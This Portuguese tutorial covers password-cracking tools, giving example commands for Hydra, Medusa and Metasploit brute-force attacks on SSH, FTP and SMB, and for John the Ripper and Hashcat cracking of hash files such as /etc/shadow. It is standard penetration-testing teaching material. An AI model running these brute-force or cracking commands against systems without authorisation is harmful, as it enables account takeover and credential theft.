Ferramentas De Quebra De Senhas

Hydra

O Hydra é uma ferramenta famosa que realiza ataque de dicionário a serviços. Seu uso é, basicamente, assim:

hydra -l <login> -p <senha> <IP> <serviço> -t <tasks>

Abaixo, um exemplo de uma tentativa única (-t 1) com o usuário root (-l root) e a senha 12345 (-p 12345) no endereço 10.0.2.2 no serviço ssh:

hydra -l root -p 12345 10.0.2.2 ssh -t 1 

Podemos passar um dicionário de logins e senhas com o parâmetro -L e -P:

hydra -L <arquivo_login> -P <arquivo_senha> <IP> <serviço>
hydra -L login.txt -P senha.txt 10.0.2.2 ssh -t 4

O Hydra também possui uma interface gráfica que pode ser chamada com o comando:

xhydra

Medusa

Assim como o Hydra, o Medusa realiza ataque de dicionário a serviços. Seu uso é basicamente:

Para listar os módulos:

medusa -q | more

Comando:

medusa -h <ip> -u <usuario> -p <senha> -M <modulo>

medusa -h 10.10.100.25 -u admin -p 1234 -M ftp

Lista de IPs, usuários e senhas:

medusa -H <ips> -U <usuarios> -P <senhas> -M <modulo>

medusa -H hosts.txt -U users.txt -P pass.txt -M smbnt

John the Ripper

O John the Ripper (o nome da ferramenta faz alusão a um famoso psicopata do século 19, Jack, o Estripador) é uma das ferramentas mais usadas em pentest, sendo ele um utilitário que faz quebra de senhas de três modos:

No caso do modo incremental, é necessário ter o arquivo contendo o hash da senha do usuário (SAM no Windows ou /etc/shadow no Linux).

Seu uso é basicamente:

john <arquivo> --wordlist=dicionario.txt
john <arquivo> --single
john <arquivo> --incremental
john <arquivo> --wordlist=dicionario.txt --format=NT

As senhas quebradas são armazenadas no arquivo:

~/.john/john.pot

E assim como o Hydra, o JtR também tem uma interface gráfica, que pode ser chamada pelo comando:

johnny

OphCrack

O OphCrack é uma ferramenta nativa do Kali Linux e específica para uso com Rainbow Tables. Com uma interface gráfica bem intuitiva, o OphCrack é ideal para realizar ataques de Brute Force em sistemas Windows.

Hashcat

Também nativo do Kali, o Hashcat é uma ferramenta específica para realizar ataques do tipo Password Cracking. Uma das features mais interessantes dela é a possibilidade de se utilizar o processador da placa de vídeo para dar mais performance ao ataque.

Seu uso é basicamente:

hashcat -m <tipo do hash> -a <tipo do ataque> -o <arquivo de saída> <arquivo de hash> <dicionário>

Exemplo:

hashcat -m 1800 -a 0 -o cracked.txt /etc/shadow /usr/share/wordlists/rockyou.txt

Caso os drivers da placa de vídeo não estejam instalados, é necessário utilizar a opção --force:

hashcat -m 1800 -a 0 -o cracked.txt /etc/shadow /usr/share/wordlists/rockyou.txt --force

Metasploit Framework

O Metasploit (MSF) é um framework criado por H.D. Moore que serve para elaboração e execução de exploits.

Apesar de não ser esse o objetivo principal da ferramenta, o MSF possui módulos de ataque de força bruta para diversas aplicações, como o SSH. Pode ser executado pela sequência de comandos abaixo:

service postgresql start
msfconsole
use auxiliary/scanner/ssh/ssh_login
# outros módulos disponíveis:
# use auxiliary/scanner/ftp/ftp_login
# use auxiliary/scanner/smb/smb_login
# use auxiliary/scanner/telnet/telnet_login
show options
set <parametros>
run